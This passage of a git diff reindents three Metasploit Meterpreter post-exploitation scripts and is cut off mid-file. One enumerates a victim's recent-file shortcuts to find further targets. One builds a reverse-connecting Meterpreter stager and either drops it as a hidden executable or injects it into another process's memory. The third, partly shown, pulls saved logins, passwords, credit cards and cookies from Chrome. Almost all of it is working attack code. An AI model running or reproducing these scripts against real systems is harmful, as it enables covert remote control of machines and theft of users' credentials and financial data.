b/scripts/meterpreter/dumplinks.rb index 58ba559caf..444aa18439 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -2,37 +2,37 @@ #------------------------------------------------------------------------------- opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Dump everything for each link file." ], - "-w" => [ false, "Redirect output to file."] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Dump everything for each link file." ], + "-w" => [ false, "Redirect output to file."] ) @everything, @output_dir, @data_out = nil opts.parse(args) { |opt, idx, val| - case opt - when '-e' - @everything = true - when '-w' - @output_dir = ::File.join(Msf::Config.log_directory,'scripts', 'dumplinks') - when "-h" - print_line "dumplinks -- parse .lnk files from user's Recent Documents" - print_line - print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script." - print_line "dumplinks parses .lnk files from a user's Recent documents folder and" - print_line "Microsoft Office's Recent documents folder, if present. Windows creates" - print_line "these link files automatically for many common file types." - print_line - print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used." - print_line - print_line "The .lnk files contain time stamps, file locations, including share" - print_line "names, volume serial #s and more. This info may help you target" - print_line "additional systems." - print_line - print_line "By default, dumplinks only returns the destination for the shortcut." - print_line "See the available arguments for other options." - print_line (opts.usage) - raise Rex::Script::Completed - end + case opt + when '-e' + @everything = true + when '-w' + @output_dir = ::File.join(Msf::Config.log_directory,'scripts', 'dumplinks') + when "-h" + print_line "dumplinks -- parse .lnk files from user's Recent Documents" + print_line + print_line "dumplinks is a modified port of Harlan Carvey's lslnk.pl Perl script." + print_line "dumplinks parses .lnk files from a user's Recent documents folder and" + print_line "Microsoft Office's Recent documents folder, if present. Windows creates" + print_line "these link files automatically for many common file types." + print_line + print_line "\tResults are saved to #{::File.join(Msf::Config.log_directory, 'dumplinks')} if -w is used." + print_line + print_line "The .lnk files contain time stamps, file locations, including share" + print_line "names, volume serial #s and more. This info may help you target" + print_line "additional systems." + print_line + print_line "By default, dumplinks only returns the destination for the shortcut." + print_line "See the available arguments for other options." + print_line (opts.usage) + raise Rex::Script::Completed + end } # ---------------------------------------------------------------- @@ -42,341 +42,341 @@ info = @client.sys.config.sysinfo os = @client.sys.config.sysinfo['OS'] if @output_dir - # Create filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d") + # Create filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d") - # Create a directory for the output - @logs = ::File.join(@output_dir, Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) + # Create a directory for the output + @logs = ::File.join(@output_dir, Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) - # Create output directory - ::FileUtils.mkdir_p(@logs) + # Create output directory + ::FileUtils.mkdir_p(@logs) end # --------------------------------------------------------------- # Function for enumerating users if running as SYSTEM # Borrowed from get_pidgin_creds def enum_users(os) - users = [] - userinfo = {} - user = @client.sys.config.getuid - userpath = nil - useroffcpath = nil - sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - userpath = sysdrv + "\\Users\\" - lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" - officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" - else - userpath = sysdrv + "\\Documents and Settings\\" - lnkpath = "\\Recent\\" - officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\" - end - if user == "NT AUTHORITY\\SYSTEM" - print_status("Running as SYSTEM extracting user list...") - @client.fs.dir.foreach(userpath) do |u| - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/ - userinfo['username'] = u - userinfo['userpath'] = userpath + u + lnkpath - userinfo['useroffcpath'] = userpath + u + officelnkpath - userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) - userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) - users << userinfo - end - else - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userpath'] = userpath + uservar + lnkpath - userinfo['useroffcpath'] = userpath + uservar + officelnkpath - userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) - userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) - users << userinfo - end - return users + users = [] + userinfo = {} + user = @client.sys.config.getuid + userpath = nil + useroffcpath = nil + sysdrv = @client.fs.file.expand_path("%SystemDrive%") + if os =~ /Windows 7|Vista|2008/ + userpath = sysdrv + "\\Users\\" + lnkpath = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" + officelnkpath = "\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" + else + userpath = sysdrv + "\\Documents and Settings\\" + lnkpath = "\\Recent\\" + officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\" + end + if user == "NT AUTHORITY\\SYSTEM" + print_status("Running as SYSTEM extracting user list...") + @client.fs.dir.foreach(userpath) do |u| + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/ + userinfo['username'] = u + userinfo['userpath'] = userpath + u + lnkpath + userinfo['useroffcpath'] = userpath + u + officelnkpath + userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) + userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) + users << userinfo + end + else + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userpath'] = userpath + uservar + lnkpath + userinfo['useroffcpath'] = userpath + uservar + officelnkpath + userinfo['userpath'] = dir_entry_exists(userinfo['userpath']) + userinfo['useroffcpath'] = dir_entry_exists(userinfo['useroffcpath']) + users << userinfo + end + return users end # This is a hack because Meterpreter doesn't support exists?(file) def dir_entry_exists(path) - files = @client.fs.dir.entries(path) + files = @client.fs.dir.entries(path) rescue - return nil + return nil else - return path + return path end def extract_lnk_info(path) - @client.fs.dir.foreach(path) do |file_name| - if file_name =~ /\.lnk$/ # We have a .lnk file - record = nil - offset = 0 # ToDo: Look at moving this to smaller scope - lnk_file = @client.fs.file.new(path + file_name, "rb") - record = lnk_file.sysread(0x04) - if record.unpack('V')[0] == 76 # We have a .lnk file signature - file_stat = @client.fs.filestat.new(path + file_name) - print_status "Processing: #{path + file_name}." - @data_out = "" + @client.fs.dir.foreach(path) do |file_name| + if file_name =~ /\.lnk$/ # We have a .lnk file + record = nil + offset = 0 # ToDo: Look at moving this to smaller scope + lnk_file = @client.fs.file.new(path + file_name, "rb") + record = lnk_file.sysread(0x04) + if record.unpack('V')[0] == 76 # We have a .lnk file signature + file_stat = @client.fs.filestat.new(path + file_name) + print_status "Processing: #{path + file_name}." + @data_out = "" - record = lnk_file.sysread(0x48) - hdr = get_headers(record) + record = lnk_file.sysread(0x48) + hdr = get_headers(record) - if @everything - @data_out += get_lnk_file_MAC(file_stat, path, file_name) - @data_out += "Contents of #{path + file_name}:\n" - @data_out += get_flags(hdr) - @data_out += get_attrs(hdr) - @data_out += get_lnk_MAC(hdr) - @data_out += get_showwnd(hdr) - @data_out += get_lnk_MAC(hdr) - end - if shell_item_id_list(hdr) - # advance the file & offset - offset += 0x4c - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(2) - offset += record.unpack('v')[0] + 2 - end - # Get File Location Info - if (hdr["flags"] & 0x02) > 0 - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(4) - tmp = record.unpack('V')[0] - if tmp > 0 - lnk_file.sysseek(offset, ::IO::SEEK_SET) - record = lnk_file.sysread(0x1c) - loc = get_file_location(record) - if (loc['flags'] & 0x01) > 0 - if @everything - @data_out += "\tShortcut file is on a local volume.\n" - end - lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET) - record = lnk_file.sysread(0x10) - lvt = get_local_vol_tbl(record) - lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10) - if @everything - @data_out += "\t\tVolume Name = #{lvt['name']}\n" + - "\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" + - "\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n" - end - end + if @everything + @data_out += get_lnk_file_MAC(file_stat, path, file_name) + @data_out += "Contents of #{path + file_name}:\n" + @data_out += get_flags(hdr) + @data_out += get_attrs(hdr) + @data_out += get_lnk_MAC(hdr) + @data_out += get_showwnd(hdr) + @data_out += get_lnk_MAC(hdr) + end + if shell_item_id_list(hdr) + # advance the file & offset + offset += 0x4c + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(2) + offset += record.unpack('v')[0] + 2 + end + # Get File Location Info + if (hdr["flags"] & 0x02) > 0 + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(4) + tmp = record.unpack('V')[0] + if tmp > 0 + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(0x1c) + loc = get_file_location(record) + if (loc['flags'] & 0x01) > 0 + if @everything + @data_out += "\tShortcut file is on a local volume.\n" + end + lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET) + record = lnk_file.sysread(0x10) + lvt = get_local_vol_tbl(record) + lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10) + if @everything + @data_out += "\t\tVolume Name = #{lvt['name']}\n" + + "\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" + + "\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n" + end + end - if (loc['flags'] & 0x02) > 0 - if @everything - @data_out += "\tFile is on a network share.\n" - end - lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET) - record = lnk_file.sysread(0x14) - nvt = get_net_vol_tbl(record) - nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14) - if @everything - @data_out += "\tNetwork Share name = #{nvt['name']}\n" - end - end + if (loc['flags'] & 0x02) > 0 + if @everything + @data_out += "\tFile is on a network share.\n" + end + lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET) + record = lnk_file.sysread(0x14) + nvt = get_net_vol_tbl(record) + nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14) + if @everything + @data_out += "\tNetwork Share name = #{nvt['name']}\n" + end + end - if loc['base_ofs'] > 0 - @data_out += get_target_path(loc['base_ofs'] + offset, lnk_file) - elsif loc['path_ofs'] > 0 - @data_out += get_target_path(loc['path_ofs'] + offset, lnk_file) - end - end - end - end - lnk_file.close - if @output_dir - @file_out_name = @logs + "/" + file_name + ".txt" - print_status "Writing: #{@file_out_name}" - filewrt(@file_out_name, @data_out) - else - print_status @data_out - end - end - end + if loc['base_ofs'] > 0 + @data_out += get_target_path(loc['base_ofs'] + offset, lnk_file) + elsif loc['path_ofs'] > 0 + @data_out += get_target_path(loc['path_ofs'] + offset, lnk_file) + end + end + end + end + lnk_file.close + if @output_dir + @file_out_name = @logs + "/" + file_name + ".txt" + print_status "Writing: #{@file_out_name}" + filewrt(@file_out_name, @data_out) + else + print_status @data_out + end + end + end end # Not only is this code slow, it seems # buggy. I'm studying the recently released # MS Specs for a better way. def get_target_path(path_ofs, lnk_file) - name = [] - lnk_file.sysseek(path_ofs, ::IO::SEEK_SET) - record = lnk_file.sysread(2) - while (record.unpack('v')[0] != 0) - name.push(record) - record = lnk_file.sysread(2) - end - return "\tTarget path = #{name.join}\n" + name = [] + lnk_file.sysseek(path_ofs, ::IO::SEEK_SET) + record = lnk_file.sysread(2) + while (record.unpack('v')[0] != 0) + name.push(record) + record = lnk_file.sysread(2) + end + return "\tTarget path = #{name.join}\n" end def shell_item_id_list(hdr) - # Check for Shell Item ID List - if (hdr["flags"] & 0x01) > 0 - return true - else - return nil - end + # Check for Shell Item ID List + if (hdr["flags"] & 0x01) > 0 + return true + else + return nil + end end def get_lnk_file_MAC(file_stat, path, file_name) - data_out = "#{path + file_name}:\n" - data_out += "\tAccess Time = #{file_stat.atime}\n" - data_out += "\tCreation Date = #{file_stat.ctime}\n" - data_out += "\tModification Time = #{file_stat.mtime}\n" - return data_out + data_out = "#{path + file_name}:\n" + data_out += "\tAccess Time = #{file_stat.atime}\n" + data_out += "\tCreation Date = #{file_stat.ctime}\n" + data_out += "\tModification Time = #{file_stat.mtime}\n" + return data_out end def get_vol_type(type) - vol_type = { 0 => "Unknown", - 1 => "No root directory", - 2 => "Removable", - 3 => "Fixed", - 4 => "Remote", - 5 => "CD-ROM", - 6 => "RAM Drive"} - return vol_type[type] + vol_type = { 0 => "Unknown", + 1 => "No root directory", + 2 => "Removable", + 3 => "Fixed", + 4 => "Remote", + 5 => "CD-ROM", + 6 => "RAM Drive"} + return vol_type[type] end def get_showwnd(hdr) - showwnd = { 0 => "SW_HIDE", - 1 => "SW_NORMAL", - 2 => "SW_SHOWMINIMIZED", - 3 => "SW_SHOWMAXIMIZED", - 4 => "SW_SHOWNOACTIVE", - 5 => "SW_SHOW", - 6 => "SW_MINIMIZE", - 7 => "SW_SHOWMINNOACTIVE", - 8 => "SW_SHOWNA", - 9 => "SW_RESTORE", - 10 => "SHOWDEFAULT"} - data_out = "\tShowWnd value(s):\n" - showwnd.each do |key, value| - if (hdr["showwnd"] & key) > 0 - data_out += "\t\t#{showwnd[key]}.\n" - end - end - return data_out + showwnd = { 0 => "SW_HIDE", + 1 => "SW_NORMAL", + 2 => "SW_SHOWMINIMIZED", + 3 => "SW_SHOWMAXIMIZED", + 4 => "SW_SHOWNOACTIVE", + 5 => "SW_SHOW", + 6 => "SW_MINIMIZE", + 7 => "SW_SHOWMINNOACTIVE", + 8 => "SW_SHOWNA", + 9 => "SW_RESTORE", + 10 => "SHOWDEFAULT"} + data_out = "\tShowWnd value(s):\n" + showwnd.each do |key, value| + if (hdr["showwnd"] & key) > 0 + data_out += "\t\t#{showwnd[key]}.\n" + end + end + return data_out end def get_lnk_MAC(hdr) - data_out = "\tTarget file's MAC Times stored in lnk file:\n" - data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" - data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" - data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n" - return data_out + data_out = "\tTarget file's MAC Times stored in lnk file:\n" + data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" + data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" + data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n" + return data_out end def get_attrs(hdr) - fileattr = {0x01 => "Target is read only", - 0x02 => "Target is hidden", - 0x04 => "Target is a system file", - 0x08 => "Target is a volume label", - 0x10 => "Target is a directory", - 0x20 => "Target was modified since last backup", - 0x40 => "Target is encrypted", - 0x80 => "Target is normal", - 0x100 => "Target is temporary", - 0x200 => "Target is a sparse file", - 0x400 => "Target has a reparse point", - 0x800 => "Target is compressed", - 0x1000 => "Target is offline"} - data_out = "\tAttributes:\n" - fileattr.each do |key, attr| - if (hdr["attr"] & key) > 0 - data_out += "\t\t#{fileattr[key]}.\n" - end - end - return data_out + fileattr = {0x01 => "Target is read only", + 0x02 => "Target is hidden", + 0x04 => "Target is a system file", + 0x08 => "Target is a volume label", + 0x10 => "Target is a directory", + 0x20 => "Target was modified since last backup", + 0x40 => "Target is encrypted", + 0x80 => "Target is normal", + 0x100 => "Target is temporary", + 0x200 => "Target is a sparse file", + 0x400 => "Target has a reparse point", + 0x800 => "Target is compressed", + 0x1000 => "Target is offline"} + data_out = "\tAttributes:\n" + fileattr.each do |key, attr| + if (hdr["attr"] & key) > 0 + data_out += "\t\t#{fileattr[key]}.\n" + end + end + return data_out end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - if data2wrt - data2wrt.each_line do |d| - output.puts(d) - end - end - output.close + output = ::File.open(file2wrt, "a") + if data2wrt + data2wrt.each_line do |d| + output.puts(d) + end + end + output.close end def get_flags(hdr) - flags = {0x01 => "Shell Item ID List exists", - 0x02 => "Shortcut points to a file or directory", - 0x04 => "The shortcut has a descriptive string", - 0x08 => "The shortcut has a relative path string", - 0x10 => "The shortcut has working directory", - 0x20 => "The shortcut has command line arguments", - 0x40 => "The shortcut has a custom icon"} - data_out = "\tFlags:\n" - flags.each do |key, flag| - if (hdr["flags"] & key) > 0 - data_out += "\t\t#{flags[key]}.\n" - end - end - return data_out + flags = {0x01 => "Shell Item ID List exists", + 0x02 => "Shortcut points to a file or directory", + 0x04 => "The shortcut has a descriptive string", + 0x08 => "The shortcut has a relative path string", + 0x10 => "The shortcut has working directory", + 0x20 => "The shortcut has command line arguments", + 0x40 => "The shortcut has a custom icon"} + data_out = "\tFlags:\n" + flags.each do |key, flag| + if (hdr["flags"] & key) > 0 + data_out += "\t\t#{flags[key]}.\n" + end + end + return data_out end def get_headers(record) - hd = record.unpack('x16V12x8') - hdr = Hash.new() - hdr["flags"] = hd[0] - hdr["attr"] = hd[1] - hdr["ctime"] = get_time(hd[2], hd[3]) - hdr["mtime"] = get_time(hd[4], hd[5]) - hdr["atime"] = get_time(hd[6], hd[7]) - hdr["length"] = hd[8] - hdr["icon_num"] = hd[9] - hdr["showwnd"] = hd[10] - hdr["hotkey"] = hd[11] - return hdr + hd = record.unpack('x16V12x8') + hdr = Hash.new() + hdr["flags"] = hd[0] + hdr["attr"] = hd[1] + hdr["ctime"] = get_time(hd[2], hd[3]) + hdr["mtime"] = get_time(hd[4], hd[5]) + hdr["atime"] = get_time(hd[6], hd[7]) + hdr["length"] = hd[8] + hdr["icon_num"] = hd[9] + hdr["showwnd"] = hd[10] + hdr["hotkey"] = hd[11] + return hdr end def get_net_vol_tbl(file_net_rec) - nv = Hash.new() - (nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8") - return nv + nv = Hash.new() + (nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8") + return nv end def get_local_vol_tbl(lvt_rec) - lv = Hash.new() - (lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4') - return lv + lv = Hash.new() + (lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4') + return lv end def get_file_location(file_loc_rec) - location = Hash.new() - (location["len"], location["ptr"], location["flags"], - location["vol_ofs"], location["base_ofs"], location["network_ofs"], - location["path_ofs"]) = file_loc_rec.unpack('V7') - return location + location = Hash.new() + (location["len"], location["ptr"], location["flags"], + location["vol_ofs"], location["base_ofs"], location["network_ofs"], + location["path_ofs"]) = file_loc_rec.unpack('V7') + return location end def get_time(lo_byte, hi_byte) - if (lo_byte == 0 && hi_byte == 0) - return 0 - else - lo_byte -= 0xd53e8000 - hi_byte -= 0x019db1de - time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i - if time < 0 - return 0 - end - end - return time + if (lo_byte == 0 && hi_byte == 0) + return 0 + else + lo_byte -= 0xd53e8000 + hi_byte -= 0x019db1de + time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i + if time < 0 + return 0 + end + end + return time end if client.platform =~ /win32|win64/ - enum_users(os).each do |user| - if user['userpath'] - print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." - extract_lnk_info(user['userpath']) - else - print_status "No Recent directory found for user #{user['username']}. Nothing to do." - end - if user['useroffcpath'] - print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..." - extract_lnk_info(user['useroffcpath']) - else - print_status "No Recent Office files found for user #{user['username']}. Nothing to do." - end - end + enum_users(os).each do |user| + if user['userpath'] + print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." + extract_lnk_info(user['userpath']) + else + print_status "No Recent directory found for user #{user['username']}. Nothing to do." + end + if user['useroffcpath'] + print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..." + extract_lnk_info(user['useroffcpath']) + else + print_status "No Recent Office files found for user #{user['username']}. Nothing to do." + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index e45c7fbc1e..9b072f511a 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -9,14 +9,14 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"], - "-w" => [ false, "Write and execute an exe instead of injecting into a process"], - "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], - "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], - "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"], + "-w" => [ false, "Write and execute an exe instead of injecting into a process"], + "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], + "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], + "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], + "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] ) # @@ -38,25 +38,25 @@ pay = nil # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-P" - target_pid = val.to_i - when "-e" - target = val - when "-D" - autoconn = false - when "-w" - inject = false - when "-s" - spawn = true - end + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-P" + target_pid = val.to_i + when "-e" + target = val + when "-D" + autoconn = false + when "-w" + inject = false + when "-s" + spawn = true + end end print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}") @@ -73,74 +73,74 @@ mul.datastore['EXITFUNC'] = 'process' mul.datastore['ExitOnSession'] = true print_status("Running payload handler") mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true ) if client.platform =~ /win32|win64/ - server = client.sys.process.open + server = client.sys.process.open - print_status("Current server process: #{server.name} (#{server.pid})") + print_status("Current server process: #{server.name} (#{server.pid})") - if ! inject - exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) - print_status("Meterpreter stager executable #{exe.length} bytes long") + if ! inject + exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) + print_status("Meterpreter stager executable #{exe.length} bytes long") - # - # Upload to the filesystem - # - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tempexe.gsub!("\\\\", "\\") + # + # Upload to the filesystem + # + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe.gsub!("\\\\", "\\") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - print_status("Uploaded the agent to #{tempexe} (must be deleted manually)") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + print_status("Uploaded the agent to #{tempexe} (must be deleted manually)") - # - # Execute the agent - # - print_status("Executing the agent with endpoint #{rhost}:#{rport}...") - pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) - elsif ! spawn - # Get the target process name - print_status("Duplicating into #{target}...") + # + # Execute the agent + # + print_status("Executing the agent with endpoint #{rhost}:#{rport}...") + pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) + elsif ! spawn + # Get the target process name + print_status("Duplicating into #{target}...") - # Get the target process pid - if not target_pid - target_pid = client.sys.process[target] - end + # Get the target process pid + if not target_pid + target_pid = client.sys.process[target] + end - if not target_pid - print_error("Could not access the target process") - print_status("Spawning a notepad.exe host process...") - note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - target_pid = note.pid - end - else - print_status("Spawning a #{target} host process...") - newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) - target_pid = newproc.pid - if not target_pid - print_error("Could not create a process around #{target}") - raise Rex::Script::Completed - end - end + if not target_pid + print_error("Could not access the target process") + print_status("Spawning a notepad.exe host process...") + note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) + target_pid = note.pid + end + else + print_status("Spawning a #{target} host process...") + newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) + target_pid = newproc.pid + if not target_pid + print_error("Could not create a process around #{target}") + raise Rex::Script::Completed + end + end - # Do the duplication - print_status("Injecting meterpreter into process ID #{target_pid}") - host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) - raw = pay.generate - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + # Do the duplication + print_status("Injecting meterpreter into process ID #{target_pid}") + host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) + raw = pay.generate + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_status("New server process: #{target_pid}") + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_status("New server process: #{target_pid}") else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index 1c3fbfd35f..bbbb91ca72 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -8,187 +8,187 @@ require 'sqlite3' require 'yaml' if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @host_info = client.sys.config.sysinfo @chrome_files = [ - { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"}, - { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"}, - { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"}, - { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]}, - { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"}, - { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"}, - { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"}, - { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"}, - { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]}, - { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"}, - { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"}, + { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"}, + { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"}, + { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"}, + { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]}, + { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"}, + { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"}, + { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"}, + { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"}, + { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]}, + { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"}, + { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"}, ] @migrate = false @old_pid = nil @output_format = [] opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-m" => [ false, "Migrate into explorer.exe"], - "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"] + "-h" => [ false, "Help menu" ], + "-m" => [ false, "Migrate into explorer.exe"], + "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"] ) opts.parse(args) { |opt, idx, val| - case opt - when "-m" - @migrate = true - when "-f" - if val =~ /^j(son)?$/ - @output_format << "json" - elsif val =~ /^y(aml)?$/ - @output_format << "yaml" - elsif val =~ /^t(ext)?$/ - @output_format << "text" - else - print_error("unknown format '#{val}'.") - raise Rex::Script::Completed - end - when "-h" - print_line("") - print_line("DESCRIPTION: Script for enumerating preferences and extracting") - print_line("information from the Google Chrome Browser on a target system.") - print_line("Decryption of creditcard information and passwords only supported") - print_line("on 32bit Windows Operating Systems.") - print_line("") - print_line("USAGE: run enum_chrome [-m]") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-m" + @migrate = true + when "-f" + if val =~ /^j(son)?$/ + @output_format << "json" + elsif val =~ /^y(aml)?$/ + @output_format << "yaml" + elsif val =~ /^t(ext)?$/ + @output_format << "text" + else + print_error("unknown format '#{val}'.") + raise Rex::Script::Completed + end + when "-h" + print_line("") + print_line("DESCRIPTION: Script for enumerating preferences and extracting") + print_line("information from the Google Chrome Browser on a target system.") + print_line("Decryption of creditcard information and passwords only supported") + print_line("on 32bit Windows Operating Systems.") + print_line("") + 